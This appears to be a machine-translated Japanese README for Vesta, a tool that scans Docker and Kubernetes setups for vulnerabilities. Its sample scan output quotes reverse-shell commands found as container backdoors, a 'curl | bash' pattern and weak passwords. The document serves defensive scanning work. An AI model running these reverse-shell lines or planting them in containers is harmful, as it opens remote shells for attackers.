
実践的なクラウドコンピューティングのペネトレーションテストに基づく、脆弱性の静的解析、Docker および Kubernetes クラスター構成検出ツールキット
クラウドコンピューティングの実際のペネトレーションテストに基づいた、脆弱性の静的解析、DockerおよびKubernetesクラスター構成検出ツールキットです。
Vestaは、脆弱性の静的解析、DockerおよびKubernetesクラスター構成検出ツールキットです。KubernetesとDockerの構成、クラスターポッド、コンテナをセーフプラクティスに従って検査します。
Vestaは、Windows、Linux、MacOSなどさまざまなタイプのシステム上の物理マシンで実行可能な柔軟なツールキットです。
スキャン
Docker
| サポート | チェック項目 | 説明 | 重大度 | 参照 |
|---|---|---|---|---|
| ✔ | PrivilegeAllowed | 特権モジュールが許可されています。 | 致命的 | 参照 |
| ✔ | Capabilities | 危険なケーパビリティが開放されています。 | 致命的 | 参照 |
| ✔ | Volume Mount | 危険な場所をマウントしています。 | 致命的 | 参照 |
| ✔ | Docker Unauthorized | 2375ポートが開放されており、認証されていません。 | 致命的 | 参照 |
| ✔ | Kernel version | カーネルバージョンがエスケープバージョン未満です。 | 致命的 | 参照 |
| ✔ | Network Module | ネットモジュールが host で、containerdバージョンが1.41未満です。 | 致命的/中 | |
| ✔ | Pid Module | PIDモジュールが host です。 | 高 | |
| ✔ | Docker Server version | サーバーバージョンに脆弱なバージョンが含まれています。 | 致命的/高/中/低 | |
| ✔ | Docker env password check | データベースの弱いパスワードをチェックします。 | 高/中 | |
| ✔ | Docker History | Dockerレイヤーと環境に危険なコマンドがあります。 | 高/中 | |
| ✔ | Docker Backdoor | Docker環境コマンドに悪意のあるコマンドがあります。 | 致命的/高 | |
| ✔ | Docker Swarm | Docker Swarmに危険な構成やシークレット、安全でないコンテナがあります。 | 中/低 | |
| ✔ | Docker supply chain | Dockerサプライチェーンに脆弱な構成があります。 | 致命的/高/中 | 参照 |
Kubernetes
VestaはGo 1.18でビルドされています。```bash make build
## クイックスタート
イメージまたはコンテナスキャンの例では、`-f`を使用してtarファイルを入力し、vestaを起動します:```bash
# Container
vesta scan image cve-2019-14234_web:latest
vesta scan image -f example.tar
# Image
vesta scan container <CONTAINER ID>
vesta scan container -f example.tar
# Filesystem
vesta scan fs <path_of_filesystem>
(空行) Ouput:```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer
Detected 216 vulnerabilities
+-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+
Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+
<details>
<summary>結果</summary>

</details>
docker config scan の例、vesta を起動:```bash
vesta analyze docker
またはdokcerで実行してください。```bash make run.docker
(No content provided to translate.)```bash
2022/11/29 23:06:32 Start analysing
2022/11/29 23:06:32 Getting engine version
2022/11/29 23:06:32 Getting docker server version
2022/11/29 23:06:32 Getting kernel version
Detected 3 vulnerabilities
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: None | | | | the CVE-2022-0492 with |
| | | | | | CAP_SYS_ADMIN and v1 |
| | | | | | architecture of cgroups |
| | | | | | vulnerablility, has a |
| | | | | | potential container escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 3 | Name: Image Tag | Privileged | true | critical | There has a potential container|
| | ID: None | | | | escape in privileged module. |
| | | | | | |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
| 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found |
| | ID: None | | vesta_history_test:latest | | | in command: ' echo |
| | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > |
| | | | | | config.ini # buildkit'. |
+----+----------------------------+----------------+--------------------------------+----------+--------------------------------+
Kubernetes設定スキャンの例、vestaを起動:```bash vesta analyze k8s
出力:```bash
2022/11/29 23:15:59 Start analysing
2022/11/29 23:15:59 Getting docker server version
2022/11/29 23:15:59 Getting kernel version
Detected 4 vulnerabilities
Pods:
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential |
| | default | Status: Running | | Privileged | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has |
| | | env | | | | found weak password: |
| | | | | | | 'Password123456'. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds |
| | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: |
| | | | | | | 0.91 out of 1.0), which is a |
| | | | | | | suspect command backdoor. |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential |
| | default | Status: Running | | capabilities | | | | container escape in privileged |
| | Node Name: docker-desktop | | | | | module. |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account |
| | | automountServiceAccountToken | | | | and key permission are |
| | | | | | | given, which will cause a |
| | | | | | | potential container escape. |
| | | | | | | Reference clsuterRolebind: |
| | | | | | | vuln-clusterrolebinding | |
| | | | | | | roleBinding: vuln-rolebinding |
+ + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
| | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. |
| | | Resource | | | | |
| | | | | | | |
+----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+
Configures:
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering |
| | | | | | the CVE-2022-0185 with |
| | | | | | CAP_SYS_ADMIN vulnerablility, |
| | | | | | has a potential container |
| | | | | | escape. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak |
| | | Namespace: default | | | password: 'Password123'. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key |
| | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the |
| | | rolename: vuln-clusterrole | | pods, services | | default service account, which |
| | | kind: ClusterRole | subject | | | will cause a potential data |
| | | kind: Group | subject name: | | | leakage. |
| | | system:serviceaccounts:vuln | | | | |
| | | namespace: vuln | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key |
| | | | rolename: vuln-role | role | create, update | resources: | | resources given to the |
| | | kind: Role | subject kind: | pods, services | | default service account, which |
| | | ServiceAccount | subject name: | | | will cause a potential data |
| | | default | namespace: default | | | leakage. |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+
| 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given |
| | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', |
| | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. |
| | | subject kind: User | subject | | | |
| | | name: testUser | namespace: | | | |
| | | all | | | |
+----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+

$./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta
Usage: vesta [command]
Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit
Flags: -h, --help help for vesta
## イベント
### KCon 2023 武器リスト
- [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2)
| サポート | チェック項目 | 説明 | 重大度 | 参照 |
|---|
| ✔ | PrivilegeAllowed | 特権モジュールが許可されています。 | 致命的 | 参照 |
| ✔ | Capabilities | 危険なケーパビリティが開放されています。 | 致命的 | 参照 |
| ✔ | PV and PVC | PVが危険な場所にマウントされ、アクティブです。 | 致命的/中 | 参照 |
| ✔ | RBAC | RBACのclusterrolebingdingまたはrolebindingに安全でない構成があります。 | 高/中/低/警告 | |
| ✔ | Kubernetes-dashborad | -enable-skip-loginとアカウント権限をチェックします。 | 致命的/高/低 | 参照 |
| ✔ | Kernel version | カーネルバージョンがエスケープバージョン未満です。 | 致命的 | 参照 |
| ✔ | Docker Server version (k8sバージョンがv1.24未満) | サーバーバージョンに脆弱なバージョンが含まれています。 | 致命的/高/中/低 | |
| ✔ | Kubernetes certification expiration | 証明書が30日後に期限切れになります。 | 中 | |
| ✔ | ConfigMap and Secret check | ConfigMapまたはSecretの弱いパスワードをチェックします。 | 高/中/低 | 参照 |
| ✔ | PodSecurityPolicy check (k8sバージョンがv1.25未満) | PodSecurityPolicyが危険なPod構成を許可しています。 | 高/中/低 | 参照 |
| ✔ | Auto Mount ServiceAccount Token | デフォルトのサービスアカウントトークンをマウントしています。 | 致命的/高/中/低 | 参照 |
| ✔ | NoResourceLimits | リソース制限が設定されていません。 | 低 | 参照 |
| ✔ | Job and Cronjob | JobまたはCronJobにseccompやseLinuxが設定されていません。 | 低 | 参照 |
| ✔ | Envoy admin | Envoy管理画面が開放されており、0.0.0.0をリッスンしています。 | 高/中 | 参照 |
| ✔ | Cilium version | Ciliumに脆弱なバージョンがあります。 | 致命的/高/中/低 | 参照 |
| ✔ | Istio configurations | Istioに脆弱なバージョンと脆弱な構成があります。 | 致命的/高/中/低 | 参照 |
| ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250ポートが開放されて認証されていない、またはKubectl proxyが開放されています。 | 高/中/低 | |
| ✔ | Etcd configuration | Etcdの安全な構成をチェックします。 | 高/中 | |
| ✔ | Sidecar configurations | Sidecarに危険な構成があります。 | 致命的/高/中/低 | |
| ✔ | Pod annotation | Podアノテーションに安全でない構成があります。 | 高/中/低/警告 | 参照 |
| ✔ | DaemonSet | DaemonSetに安全でない構成があります。 | 致命的/高/中/低 | |
| ✔ | Backdoor | バックドア検出。 | 致命的/高 | 参照 |
| ✔ | Lateral admin movement | Podがマスターノードを指定しています。 | 中/低 |